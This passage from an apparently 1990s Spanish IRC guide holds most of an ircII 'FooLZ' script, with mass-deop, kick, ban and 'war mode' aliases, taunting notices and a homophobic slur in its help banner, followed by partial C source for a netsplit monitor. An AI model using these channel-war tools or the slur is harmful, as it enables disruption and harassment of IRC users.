            NOTICE $0 [FooLZ] aUTo-aWP FoR ELiTE d00dzZ!!
         }
      }
    }
    ^ASSIGN -USERSITE
    ^ASSIGN -FUQQ 
  }

  # DaveMan's Ban2 for 2.2 clients       - 4/15/93
  # Discription: Easy to use aliases to unban by login given a nick.
  ALIAS DBAN {
   IF ([$0]) {
      USERHOST $0 -CMD ^ASSIGN DABAN $$0!$$3@$$4
      NOTICE $0 [FooLZ] Your ban is cleared from $C - FooLZ Courtesy of BoW -
   } {
      USERHOST $N -CMD ^ASSIGN DABAN $$0!$$3@$$4
   }
   ^ON ^367 * IF (RMATCH($DABAN $2)){ @ BL = [$BL $2] }
   ^ASSIGN CNT 0
   ^MODE $C +b
   WAIT

   WHILE (WORD($CNT $BL)){
      UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
      @ CNT = CNT + 3
    }
    ^ASSIGN -BL
    ^ASSIGN -CNT
    ^ON ^367 -
  }

  ALIAS CLEARBAN {
   ^ON ^367 * { 
      @ BL = [$2 $BL] 
   }
   ^ASSIGN CNT 0
   ^MODE $C +b
   WAIT
   WHILE (WORD($CNT $BL)){
       UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
       @ CNT = CNT + 3
   }
    ^ASSIGN -BL
    ^ASSIGN -CNT
    ^ON ^367 -*
  }

  ALIAS CM {
    /MODE $C -k$M
  }
 
  ALIAS UB4 {
    IF ([$2]!=[]) {
      MODE $C -bbb $0-2
   } {
      IF (([$1]!=[])&&([$2]==[])) {
         MODE $C -bb $0-1
      } {
         IF (([$0]!=[])&&([$1]==[])) { 
            MODE $C -b $0
         }
       }
    }
  }

  # This is from a script called bans by Tychy. 
  # Randomized ban version 1.27
  # Written by Lance Herron (A.k.a. Tychy)
  ALIAS BAN {
    IF ([$0]) {
      USERHOST $0 -CMD PHEAR $$4
      NOTICE $0 [FooLZ] You have been banned from $C - FooLZ courtesy of BoW -
      NOTICE $0 [FooLZ] phear BoW.
   } {
      SHOW_USAGE /BAN <user>
    }
  }
  ALIAS PHEAR {
    @ _HOST = [$0]
    @ RANUMH = RAND($@_HOST) 
    @ SCRBAN = [*!*@] ## SCRFNC($RANUMH $0)
    MODE $C +b $SCRBAN
    ^ASSIGN -_HOST
    ^ASSIGN -RANUMH
    ^ASSIGN -SCRBAN
  }

  ASSIGN scros.0 ?
  ASSIGN scros.1 ?
  ASSIGN scros.2 *
  ASSIGN scros.3 ?

  ALIAS SCRFNC {
    @ NUMQUES = [$0]
    @ LNUMQ = 0
    @ TEMPSCR = [$1]
    @ TOSCREWN = [$@TEMPSCR]
    WHILE (LNUMQ < NUMQUES) {
       @ TEMPRAND = RAND($TOSCREWN)
       @ TEMPSCR = LEFT($TEMPRAND $TEMPSCR) ## SCROS[$RAND(3)] ## RIGHT(${ TOSCREWN - (TEMPRAND + 1) } $TEMPSCR)
       @ LNUMQ = LNUMQ + 1
   }
    @ FUNCTION_RETURN = [$TEMPSCR]
  }

  # Stuff from davemans
  ALIAS REMOVE {
    @ TCNT = 0
    @ TEMP = []
    @ $1 = [$($1) XX]
    WHILE (WORD($TCNT $($1))!=[XX]) {
      if ([$0]!=WORD($TCNT $($1))) {
         @ TEMP = [$TEMP $WORD($TCNT $($1))]
      }
      @ TCNT = TCNT + 1 
   }
    @ $1 = [$TEMP]
    ^ASSIGN -TEMP
  }

  ALIAS ADDMSG {
    IF (MATCH($0 $MSGLIST)) {
      REMOVE $0 MSGLIST
      @ MSGLIST = [$0 $MSGLIST]
      @ MSGCNT = 0
   } {
      @ MSGLIST = [$0-9]
      @ MSGCNT = 0
    }
  }

  ALIAS GETMSG {
    TYPE ^U/MSG $($MSGCNT) 
    @ MSGCNT = MSGCNT + 1
    IF (#MSGLIST<MSGCNT) {
      @ MSGCNT = 0
    }
  }

  /* I took this from textbox.. got no idea where he got it from.. */
  /* found it was a bit buggy, so added in some shit..             */
  ALIAS MDOP
  {
   IF (!ISCHANOP($N $C)) {
      NOT_OPPED mass de-op.
   } {
      ^SET DISPLAY OFF
      ^ASSIGN -MDOPZ
      ^ON -WHO *
      {
         IF (([$1]!=[$N])&&(ISCHANOP($1 $C)))
         {
            ^ASSIGN MDOPZ $1 ${MDOPZ}
         }
      }
      ^WHO *
      WAIT
      ^SET DISPLAY ON
      @ MDOPCNT = 0
      WHILE ([$(#MDOPZ)] >= MDOPCNT)
      {
  /QUOTE MODE $C -ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
         @ MDOPCNT = MDOPCNT + 3
      }
      ^ASSIGN -MDOPZ
      ^ASSIGN -MDOPCNT
      NOTICE $C [FooLZ] A Mass De-Vop has been performed.
    }
  }
  ALIAS MVOP
  {
   IF (!ISCHANOP($N $C)) {
      NOT_OPPED mass vop.
   } {
  ^SET DISPLAY OFF
   ^ASSIGN -MDOPZ
  ^ON -WHO *
  {
    IF ([$1]!=[$N])
    {
      ^ASSIGN MDOPZ $1 ${MDOPZ}
    }
  }
  ^WHO *
  WAIT
  ^SET DISPLAY ON
  @ MDOPCNT = 0
  WHILE ([$(#MDOPZ)] >= MDOPCNT)
  {
    /QUOTE MODE $C +vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
    @ MDOPCNT = MDOPCNT + 3
  }
      ^ASSIGN -MDOPZ
      ^ASSIGN -MDOPCNT
      NOTICE $C [FooLZ] A Mass Vop has been performed.
    }
  }
  ALIAS MDVOP
  {
   IF (!ISCHANOP($N $C)) {
      NOT_OPPED mass de-vop.
   } {
      ^SET DISPLAY OFF
      ^ASSIGN -MDOPZ
      ^ON -WHO *
      {
         IF ([$1]!=[$N])
         {
            ^ASSIGN MDOPZ $1 ${MDOPZ}
         }
      }
      ^WHO *
      WAIT
      ^SET DISPLAY ON
      @ MDOPCNT = 0
      WHILE ([$(#MDOPZ)] >= MDOPCNT)
      {
    /QUOTE MODE $C -vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
         @ MDOPCNT = MDOPCNT + 3
      }
      ^ASSIGN -MDOPZ
      ^ASSIGN -MDOPCNT
      NOTICE $C [FooLZ] A Mass De-Vop has been performed.
    }
  }

  alias mop
  {
   IF (!ISCHANOP($N $C)) {
      NOT_OPPED mass op.
   } {
      ^SET DISPLAY OFF
      ^ASSIGN -MDOPZ
      ^ON -WHO *
      {
         IF (([$1]!=[$N])&&(!ISCHANOP($1 $C)))
         {
            ^ASSIGN MDOPZ $1 ${MDOPZ}
         }
      }
      ^WHO *
      WAIT
      ^SET DISPLAY ON
      @ MDOPCNT = 0
      WHILE ([$(#MDOPZ)] >= MDOPCNT)
      {
  /QUOTE MODE $C +ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
         @ MDOPCNT = MDOPCNT + 3
      }
      ^ASSIGN -MDOPZ
      ^ASSIGN -MDOPCNT
      NOTICE $C [FooLZ] A Mass Op has been performed.
    }
  }

  # Now some BoW Stuff
  ALIAS W {
   IF ([$0]) {
      WHO $0-
   } {
      IF ([$C]) {
         WHO $C
      } {
         ECHO [FooLZ] FoOL!!! YoU MuST SPeCiFY a CHaNNeL oR Be oN oNE!
      }
    }
  }
  ALIAS J JOIN
  ALIAS M {
   IF ([$0]) {
     IF (ISCHANNEL($0)) {
        MODE $0-
     } {
        MODE $C $0-
     }
   } {
     MODE $C
   }
  }
  ALIAS T {
   IF ([$0]) {
      IF (ISCHANNEL($0)) {
         TOPIC $0-
      } {
         TOPIC $C $0-
      }
   } {
      IF ([$C]) {
         TOPIC $C
      } {
         ECHO [FooLZ] FoOL!!! YoU MuST Be oN a CHaNNeL oR SpECiFY oNE
      }
    }
  }
  ALIAS L {
   IF ([$0]) {
      PART $0-
   } {
      PART $C
   }
  }

  # Auto-op - idea taken from infitiy or toolz or one of those lame scripts
  # The source is entirely original however.. I have never seen the source
  # for the other dudes ways... only stole their idea..
  ALIAS AOP {
   ^ASSIGN FUQU \'s
   ^ASSIGN -PERSON
   IF ([$0]) {
      USERHOST $0 -CMD IF ([$3]) {
         ^ASSIGN PERSON $3@$4
         IF ([$3]==[<UNKNOWN>]) {
            ECHO [FooLZ] FoOL!@!! No SuCH NiCK $0
         } {
            IF (MATCH($PERSON $AUTOOP)) {
               ECHO [FooLZ] FoOL!! $PERSON iZ aLREaDY iN YeR aUTo-Op LiST
            } {
               ECHO [FooLZ] aDDiNG $0 2 YeR aUTo-Op LiST!
               @ AUTOOP = [$PERSON $AUTOOP] 
               NOTICE $0 [FooLZ] Y00 HaVE BeEN aDDeD To $N$FUQU aUTo-Op LiST
               NOTICE $0 [FooLZ] FooLZ iZ KoURTiSY oF BoW - pHeAR BoW.
               EXEC echo "RELOADAOP $PERSON" >> ~/.FooLZrc
               IF ((!ISCHANOP($0 $C))&&(ISCHANOP($N $C))) {
                  MODE $C +o $0
               }
            }
         }
      }
   } {
      SHOW_USAGE /AOP <nick>
   }
   ^ASSIGN -FUQU
   ^ASSIGN -PERSON
  }

  # called from the file...
  ALIAS RELOADAOP {
    IF ([$0]) {
      @ AUTOOP = [$0 $AUTOOP]
   }
  }

  ALIAS DAOP {
   ^ASSIGN -PERSON
   ^ASSIGN -NEWOPLIST
   ^ASSIGN -TEMPOP
   IF ([$0]) {
      USERHOST $0 -CMD IF ([$3]) {
         ^ASSIGN PERSON $3@$4
         IF (MATCH($PERSON $AUTOOP)) {
            ^ASSIGN OPCOUNT 0
            WHILE ([$(#AUTOOP)] >= OPCOUNT) {
               @ TEMPOP = WORD($OPCOUNT $AUTOOP)
               IF ([$PERSON]==[$TEMPOP]) {
                  EXEC grep -v $PERSON ~/.FooLZrc > ~/.FooLZ.bak \; mv ~/.FooLZ.bak ~/.FooLZrc
                  ECHO [FooLZ] $0 HaZ BeEN ReMoVeD FRoM YoUR oP LiST!
               } {
                  @ NEWOPLIST = [$NEWOPLIST $TEMPOP]
               }
               @ OPCOUNT = OPCOUNT + 1
            }
            @ AUTOOP = [$NEWOPLIST]
         } {
            ECHO [FooLZ] FoOL!!! $0 iZ NoT iN YoUR AuTo-aWP LiZT!
         }
      }
   } {
      SHOW_USAGE /DAOP <nick>
   }
    ^ASSIGN -PERSON
    ^ASSIGN -OPCOUNT
    ^ASSIGN -NEWOPLIST
    ^ASSIGN -TEMPOP
  }
 
  ALIAS SAOP {
    ECHO [FooLZ] YoUR aUTo-Op LiZT iZ: $AUTOOP
  }

  # When you are away, set logging to on..
  ALIAS LOG {
    ^ASSIGN IS_AWAY YES
    ECHO [FooLZ] LoGGiNG aLL MeSGz
  }

  ALIAS AWAY {
    IF ([$0]) {
      LOG
      ECHO [FooLZ] Y00 HaVE BeEN MaRKeD aS aWaY!!@
      ^ASSIGN AWAY_MSG $0-
      ^SET STATUS_FORMAT     Y00 aRe MaRKeD aZ aWaY - ReASoN: $AWAY_MSG - BoW '94 - %>%U%M%X%Y%Z
      ^SET DISPLAY OFF
      ^SET DISPLAY ON
   } {
      ^SET DISPLAY OFF
      ^SET DISPLAY ON
      ^ASSIGN IS_AWAY NO
      ^ASSIGN -AWAY_MSG
      ^SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z 
      ECHO [FooLZ] MeSGz SeNT T00 Y00 WHiLE Y00 WeRE aWAY
      EXEC cat /dev/null >> ~/.FooLZ.aWaY \; cat ~/.FooLZ.aWaY \; rm -f ~/.FooLZ.aWaY
    }
  }

  ALIAS K {
    ^ASSIGN FUQU FooLZ
    ^ASSIGN KNOTE $BOLD$MSG_BRACE_1$FUQU K-KiCK]$BOLD
    ^ASSIGN -FUQU
    ^ASSIGN KCHAN $C
    ^ASSIGN KLIST -
    ^ASSIGN KOUNT 0
    ^ASSIGN KKONT 0
    ^ASSIGN KTEMP -
    ^ASSIGN KNICK 

   IF ([$0]) {
      IF (!ISCHANOP($N $C)) {
         NOT_OPPED K-KiCK Someone.
      } { 
         IF (ISCHANNEL($0)) {
            @ KCHAN = [$0]
            @ KLIST = [$1-]
         } {
            @ KLIST = [$0-]
         }
         WHILE ([$(#KLIST)] > KOUNT) {
            @ KTEMP = WORD($KOUNT $KLIST)
            @ KOUNT = KOUNT + 1
            IF ([$KKONT]==[0]) {
               IF (ISONCHAN($KTEMP $KCHAN)) {
                  @ KNICK = [$KNICK $KTEMP]
               } {
                  @ KKONT = 1
                  @ KNOTE = [$KNOTE $KTEMP]
               } 
            } {
               @ KNOTE = [$KNOTE $KTEMP]
            }
         }
         @ KOUNT = 0
         IF ([$KNICK] == []) {
            SHOW_USAGE /K [channel] <nick> [nick2] [nick3] [comments]
         } {
            WHILE ([$(#KNICK)] > KOUNT) {
               @ KTEMP = WORD($KOUNT $KNICK)
               KICK $KCHAN $KTEMP $KNOTE
               NOTICE $KTEMP [FooLZ] You have been kicked from channel $KCHAN - $KNOTE
               @ KOUNT = KOUNT + 1
            }
         }
      }
   } {
      SHOW_USAGE /K [channel] <nick> [nick2] [nick3] [comments]
   }

    ^ASSIGN -KNOTE
    ^ASSIGN -KCHAN
    ^ASSIGN -KLIST
    ^ASSIGN -KOUNT
    ^ASSIGN -KKONT
    ^ASSIGN -KTEMP
    ^ASSIGN -KNICK 
  }

  ALIAS WAR {
    IF ([$WARMODE]==[ON]) {
      ^ASSIGN WARMODE OFF
      ECHO [FooLZ] Yo0 ARe No LoNG3R iN$BOLD WaR-MoDE$BOLD
      NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oFF ]
   } {
      ^ASSIGN WARMODE ON
      ECHO [FooLZ] Yo0 ARe NoW iN$BOLD WaR-MoDE$BOLD
      NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oN ]
    }
  }

  ALIAS SNOOP {
    IF ([$SNOOP_MODE]==[OFF]) {
      ^ASSIGN SNOOP_MODE ON
      ECHO [FooLZ] Yo0 ARe NoW iN$BOLD SNo0P-MoDE$BOLD
      ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL Be DisPLaYeD]
   } {
      ^ASSIGN SNOOP_MODE OFF
      ECHO [FooLZ] Yo0 ARe No LoNGeR iN$BOLD SNo0P-MoDE$BOLD
      ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL N0T Be DisPLaYeD]
    }
  }

  ALIAS SHOW {
   ECHO [FooLZ]            -++ FooLZ SeTTiNGz ++-
   ECHO [FooLZ] --+ FooLZ iZ KoURTiSY oF BoW - PHeAR BoW +--
   ECHO [FooLZ]    --+ "ONLY A FooL WoULD uSE FooLZ!" +--
   ECHO [FooLZ] +------------------------------------------+
   IF ([$WARMODE]==[ON]) {
     ECHO [FooLZ]               WARMODE   IS:$BOLD ON
   }{
     ECHO [FooLZ]               WARMODE   IS:$BOLD OFF
   }
   IF ([$SNOOP_MODE]==[ON]) {
     ECHO [FooLZ]               SNOOPMODE IS:$BOLD ON
   }{
     ECHO [FooLZ]               SNOOPMODE IS:$BOLD OFF
   }
   IF ([$IS_AWAY]==[YES]) {
     ECHO [FooLZ]               AWAY      IS:$BOLD ON
   }{
     ECHO [FooLZ]               AWAY      IS:$BOLD OFF
   }
  }

  ALIAS BEG {
    ^ASSIGN -CHANLIST 
    ^ASSIGN CHANCNT 0
    ^ASSIGN -DACHANOP
    IF (![$C]) { 
      ECHO [FooLZ] FoOL!! Yo0 MuST Be oN a CHaNNeL To BeG FoR aWPz
    }{
      IF (ISCHANOP($N $C)) {
         ECHO [FooLZ] Fo0L!!! Yo0 R aLReADY aWPeD!!
      } {
         ^ON -NAMES * {
            ^ASSIGN CHANLIST $1-
            WHILE ([$(#CHANLIST)] > CHANCNT) {
               ^ASSIGN DACHANOP $WORD($CHANCNT $CHANLIST)
               IF (RMATCH($DACHANOP @*)) {
                ^ASSIGN NNX $@DACHANOP
                @ NNX = NNX - 1
                @DACHANOP =  RIGHT($NNX $DACHANOP)
                NOTICE $DACHANOP [FooLZ aWP BeG] Y0Y0Y0Y0... SMaK Me WiT DaH PLuS oH! - PHeAR BoW -
               }
               @ CHANCNT = CHANCNT + 1
            }
         }
         ^SET DISPLAY OFF
         ^NAMES $C
         WAIT
         ^SET DISPLAY ON
         ECHO [FooLZ] BeGGiN FoR DaH oPZ
      }
   }
    ^ASSIGN -NNX
    ^ASSIGN -CHANLIST 
    ^ASSIGN -CHANCNT
    ^ASSIGN -DACHANOP
  }
 
  ALIAS TELL_USER {
    IF ([$0]) {
      IF ([$1]) {
         NOTICE $0 [FooLZ] You have been $1. - FooLZ courtesy of BoW -
      } {
         SHOW_USAGE /TELL_USER <user> <command>
      }
   } {
      SHOW_USAGE /TELL_USER <user> <command>
    }
  }

  ALIAS OP {
    IF (!ISCHANOP($N $C)) {
      NOT_OPPED OP Someone.
    } { 
      IF ([$0]) {
         IF ([$1]) {
            IF ([$2]) {
               MODE * +ooo $0 $1 $2
               IF (([$2]!=[$1])&&([$2]!=[$0])) {
                  TELL_USER $2 opped
               }
            } {
               MODE * +oo $0 $1
            }
            IF ([$1]!=[$0]) {
               TELL_USER $1 opped
            }
         } {
            MODE * +o $0
         }
         TELL_USER $0 opped
      } {
         SHOW_USAGE /OP <nick1> [nick2] [nick3]
      }
    }
  }

  ALIAS DOP {
    IF (!ISCHANOP($N $C)) {
      NOT_OPPED DOP Someone.
    } { 
      IF ([$0]) {
         IF ([$1]) {
            IF ([$2]) {
               MODE * -ooo $0 $1 $2
               IF (([$2]!=[$1])&&([$2]!=[$0])) {
                  TELL_USER $2 de-opped
               }
            } {
               MODE * -oo $0 $1
            }
            IF ([$1]!=[$0]) {
               TELL_USER $1 de-opped
            }
         } {
            MODE * -o $0
         }
         TELL_USER $0 de-opped
      } {
         SHOW_USAGE /DOP <nick1> [nick2] [nick3]
      }
    }
  }

  ALIAS VOP {
    IF (!ISCHANOP($N $C)) {
      NOT_OPPED VOP Someone.
    } { 
      IF ([$0]) {
         IF ([$1]) {
            IF ([$2]) {
               MODE * +vvv $0 $1 $2
               IF (([$2]!=[$1])&&([$2]!=[$0])) {
                  TELL_USER $2 vopped
               }
            } {
               MODE * +vv $0 $1
            }
            IF ([$1]!=[$0]) {
               TELL_USER $1 vopped
            }
         } {
            MODE * +v $0
         }
         TELL_USER $0 vopped
      } {
         SHOW_USAGE /VOP <nick1> [nick2] [nick3]
      }
    }
  }

  ALIAS DVOP {
    IF (!ISCHANOP($N $C)) {
      NOT_OPPED DVOP Someone.
    } { 
      IF ([$0]) {
         IF ([$1]) {
            IF ([$2]) {
               MODE * -vvv $0 $1 $2
               IF (([$2]!=[$1])&&([$2]!=[$0])) {
                  TELL_USER $2 de-vopped
               }
            } {
               MODE * -vv $0 $1
            }
            IF ([$1]!=[$0]) {
               TELL_USER $1 de-vopped
            }
         } {
            MODE * -v $0
         }
         TELL_USER $0 de-vopped
      } {
         SHOW_USAGE /DVOP <nick1> [nick2] [nick3]
      }
    }
  }

  ALIAS FooL {
    ^SET HOLD_MODE ON
    ECHO +----------------------------------------------------------------------+
    ECHO |                   $BOLD FooLZ 4 iRC BRoUGHT 2 U By BoW$BOLD                    |
    ECHO |                OK SCRiPT FaGG0T, HeRe'S YoUR oPTiONS:                |
    ECHO |                                                                      |
    ECHO | Commands:                                                            |
    ECHO | $BOLD/BAN <nick>$BOLD                    - Ban user nick from current channel  |
    ECHO | $BOLD/DBAN <nick>$BOLD                   - Unban user nick from current channel|
    ECHO | $BOLD/CLEARBAN $BOLD                     - Clear the current channels bans     |
    ECHO | $BOLD/CM       $BOLD                     - Clear the current channels modes    |
    ECHO | $BOLD/K [channel] <nick1> [nick2] [nick3] [comments]$BOLD - Kick users         |
    ECHO | $BOLD/OP <nick1> [nick2] [nick3]$BOLD    - Op user nick on current channel     | 
    ECHO | $BOLD/DOP <nick1> [nick2] [nick3]$BOLD   - De-op user nick on current channel  |
    ECHO | $BOLD/VOP <nick1> [nick2] [nick3]$BOLD   - Vop user nick on current channel    |
    ECHO | $BOLD/DVOP <nick1> [nick2] [nick3]$BOLD  - Vop user nick on current channel    |
    ECHO | $BOLD/MOP $BOLD                          - Mass-Op the channel                 |
    ECHO | $BOLD/MDOP$BOLD                          - Mass-De-op the channel              |
    ECHO | $BOLD/MVOP$BOLD                          - Mass-Vop the channel                |
    ECHO | $BOLD/MDVOP$BOLD                         - Mass-De-vop the channel             |
    ECHO | $BOLD/WAR$BOLD                           - Toggle FooLZ War-mode               |
    ECHO | $BOLD/SNOOP$BOLD                         - Toggle showing messages while away  |
    ECHO | $BOLD/BEG$BOLD                           - Beg for ops on the current channel  |
    ECHO | $BOLD/AOP <nick>$BOLD                    - Add nick to your auto-op list       |
    ECHO | $BOLD/DAOP <nick>$BOLD                   - Remove nick from your auto-op list  |
    ECHO | $BOLD/SAOP$BOLD                          - Display your auto-op list           |
    ECHO | $BOLD/M [channel] [mode]$BOLD            - Display/set channel mode            |
    ECHO | $BOLD/W [channel]$BOLD                   - Displays a who list, def=current    |
    ECHO | $BOLD/L [channel]$BOLD                   - Leaves a channel - default=current  |
    ECHO | $BOLD/SHOW$BOLD                          - Displays all FooLZ Toggles          |
    ECHO |                                                                      |
    ECHO | HeY SKRiPT PuPPY - oTHeR FeATuReZ iNKLuDE - aWaY MsG LoGGiNG,        |
    ECHO |                 SPLaTTeR KiCK PRoTeCTiON & SoME oTHeR STuFF i FoRGoT |
    ECHO |                                                                      |
    ECHO | Press ESC to toggle through message list.                            |
    ECHO +----------------------------------------------------------------------+
    ^SET HOLD_MODE OFF
  }
  ECHO [FooLZ] Loading completed.
  ECHO [FooLZ] 
  ECHO [FooLZ]       -BoW-                                         -BoW-
  ECHO [FooLZ]       -BoW- *************************************** -BoW-
  ECHO [FooLZ] -BoW- -BoW- * FooLZ 4 IRC - BRoUGHT To YoU By BoW * -BoW- -BoW-
  ECHO [FooLZ] -BoW- -BoW- * FooLZ iZ KoPYWRoNG (K) 1994 By BoW  * -BoW- -BoW-
  ECHO [FooLZ] -BoW- -BoW- * iF YoU ArE LaME uSE: /FooL FoR HeLP * -BoW- -BoW-
  ECHO [FooLZ]       -BoW- *************************************** -BoW
  ECHO [FooLZ]       -BoW-                                         -BoW-
  ECHO [FooLZ] 
  GET_MAH_INFO
  LOAD ~/.FooLZrc

  
 
  11 - Un caballo de batalla : Link Looker .

  Todavia queres saber mas , joer , por lo visto este guia te esta gustando :)
  Pues aqui tambien volvemos a nuestro querido unix , ya que viene el
  codigo fuente del Link Looker , pues este herramienta es una utilidad
  la cual nos ayudara contra los split de los servidores :)
  Si , otra vez de vuelta al C y al ingles .

  -> Codigo fuente del Link Looker .

  /*=============================================================*\
   * ll.c - link looker                                          *
   * Copyright (C) 1994 by The Software System and lilo          *
   * Written by George Shearer (george@sphinx.biosci.wayne.edu)  *
   * Cleaned up to usability by lilo. :)                         *
   *                                                             *
   * September, 1994 - added help, version info and made the     *
   *                   program so you can actually use it. :)    *
   *                     --lilo                                  *
   *                                                             *
   * October 14, 1994 - cleaned up output flushing so you can    *
   *                    actually watch in something like real    *
   *                    time.  :)  --lilo                        *
   *                                                             *
   * October 28, 1994 - kill -1 will now produce a list of SPLIT *
   *                    servers.           -Doc                  *
   *                                                             *
   * November 4, 1994 - should compile on non-POSIX systems now. *
   *                    use -DHPSUCKS for HP-sUX systems 9.0x    *
   * November 15, 1994 - fixed a small bug in lilo's -h checker  *
  \*=============================================================*/

  /* This program is free software; you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation; either version 2 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program; if not, write to the Free Software
   * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
   */

  /* Compiling examples:

    regular old ANSI/C cc:
    cc -O -s -o ll ll.c

    HP-UX cc:
    cc +O3 -Aa -s -DHPSUCKS -o ll ll.c

    GNU GCC:
 
    Linux:
      gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o ll ll.c

    BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
      gcc -O2 -funroll-loops -s -Wall -o ll ll.c */

  #define VERSION "1.06"
  #define BUFSIZE 400                     /* IRC Server buffer */
  #define SERVER  "irc.escape.com"        /* IRC Server        */
  #define PORT    6667                    /* IRC Port          */
  #define LDELAY  30                      /* Loop delay seconds*/
  #define TIMEOUT 30                      /* connection timeout*/

  #define ESTABLISHED     1
  #define INPROGRESS      2
  #define SPLIT           1

  #ifdef HPSUCKS
  #define _INCLUDE_HPUX_SOURCE
  #define _INCLUDE_XOPEN_SOURCE
  #define _INCLUDE_POSIX_SOURCE
  #endif

  #include <sys/time.h>
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <fcntl.h>
  #include <signal.h>
  #include <errno.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <arpa/inet.h>
  #include <pwd.h>

  unsigned short int session=0,link_count=0;
  char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
  char *ins=in;
  char serverhost[81], nick[10], user[10], realname[81], lasttime[81];
  time_t ltime;

  struct irc_server {
   char *name;
   char *link;
   unsigned short int status;
   time_t time;
   struct irc_server *next;
  } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;

  void do_ping(char *,char *);
  void do_001(char *,char *);
  void do_error(char *,char *);
  void do_364(char *,char *);
  void do_365(char *,char *);

  /* prototyping is lame when the function is in the same
    code, lilo outta just move the function before all
    other functions that call it  :-) */
  char *stamp(time_t);

  struct parsers {
    char *cmd;
    void (*func)(char *,char *);
  } parsefuns[] = {
    { "PING", (void (*)())do_ping },
    { "001", (void (*)())do_001 },
    { "364",(void (*)())do_364 },
    { "365", (void (*)())do_365},
    { "ERROR",(void (*)())do_error},
    { (char *)0,(void (*)())0 }
  };

  struct sockaddr_in server;
  int sock=0;

  #ifndef sys_errlist
  extern char *sys_errlist[];
  #endif

  #ifndef errno
  extern int errno;
  #endif

  char *
  mystrerror(int err) {
   return(sys_errlist[err]);
  }

  unsigned long int
  resolver(char *host) {
   unsigned long int ip=0L;

  if(host && *host && (ip=inet_addr(host))==-1) {
    struct hostent *he;
    int x=0;

    while(!(he=gethostbyname((char *)host)) && x++<3) {
      fprintf(stderr,"."); fflush(stderr);
      sleep(1);
    }
    ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L;
  }

   return(ip);
  }

  void
  clean_sl2(void) {
   while(sl2) {
    struct irc_server *temp=sl2->next;
    if(sl2->name)
      free(sl2->name);
    if(sl2->link)
      free(sl2->link);
    free(sl2);
    sl2=temp;
   }
   sl2=(struct irc_server *)0;
  }

  void
  exit_program(char *why) {
   fprintf(stderr,"\nExiting program. (%s)\n",why);

  if(sock)
    close(sock);

  while(sl1) {
    struct irc_server *temp=sl1->next;
    if(sl1->name)
      free(sl1->name);
    if(sl1->link)
      free(sl1->link);
    free(sl1);
    sl1=temp;
  }

  clean_sl2();

  if(in)
    free(in);

   exit(0);
  }

  int mystrccmp(register char *s1,register char *s2) {
    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
        (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
     if(*s1++==0) return 0;
   return (*(unsigned char *)s1-*(unsigned char *)--s2);
  }

  char *mstrcpy(char **to,char *from) {
   if(from) {
    if((*to=(char *)malloc(strlen(from)+1)))
      strcpy(*to,from);
  }
  else
    *to=(char *)0;
   return(*to);
  }

  char *digtoken(char **string,char *match) {
   if(string && *string && **string) {
    while(**string && strchr(match,**string))
      (*string)++;
    if(**string) { /* got something */
      char *token=*string;
      if((*string=strpbrk(*string,match))) {
        *(*string)++=(char)0;
        while(**string && strchr(match,**string))
          (*string)++;
      }
      else
        *string = ""; /* must be at the end */
      return(token);
    }
  }
   return((char *)0);
  }

  void signal_handler(void) {
   exit_program("caught signal");
  }

  void signal_alarm(void) {
   exit_program("timed out waiting for server interaction.");
  }

  void
  out(void) {
   int length=strlen(out_buf);
  errno=0;
  if(write(sock,out_buf,length)!=length)
    exit_program(mystrerror(errno));
  }

  void
  init_server(void) {
  int length;

  sprintf(out_buf,"USER %s %s %s :%s\nNICK %s\nMODE %s +is", \
    user, user, user, realname, nick, nick);
  length=strlen(out_buf);

  errno=0;

  if(write(sock,out_buf,length)==length) {
    fputs("established\n",stderr);
    session=ESTABLISHED;
    alarm(TIMEOUT);
    sprintf(out_buf,"LINKS\n");
    out();
  }
  else
    exit_program(mystrerror(errno));
  }

  void
  heartbeat(void) {
   strcpy(out_buf,"LINKS\n");
   out();
   signal(SIGALRM,(void (*)())heartbeat);
   alarm(LDELAY);
  }

  void
  do_364(char *from,char *left) {
   struct irc_server *serv;
   char *sv1,*sv2;
   char *nick;

  serv=(struct irc_server *)malloc(sizeof(struct irc_server));
  serv->next=sl2;

  serv->status=0;
  nick=digtoken(&left," ");
  sv1=digtoken(&left," ");
  sv2=digtoken(&left," ");

  mstrcpy(&serv->name,sv1);
  mstrcpy(&serv->link,sv2);
  sl2=serv;
  }

  int
  findserv(struct irc_server *serv,char *name) {
   for(;serv;serv=serv->next)
    if(!mystrccmp(name,serv->name))
      return(1);
  return(0);
  }

  void
  show_split(void) {
   struct irc_server *serv=sl1;

  signal(SIGHUP,(void (*)())show_split);
  for(;serv;serv=serv->next) {
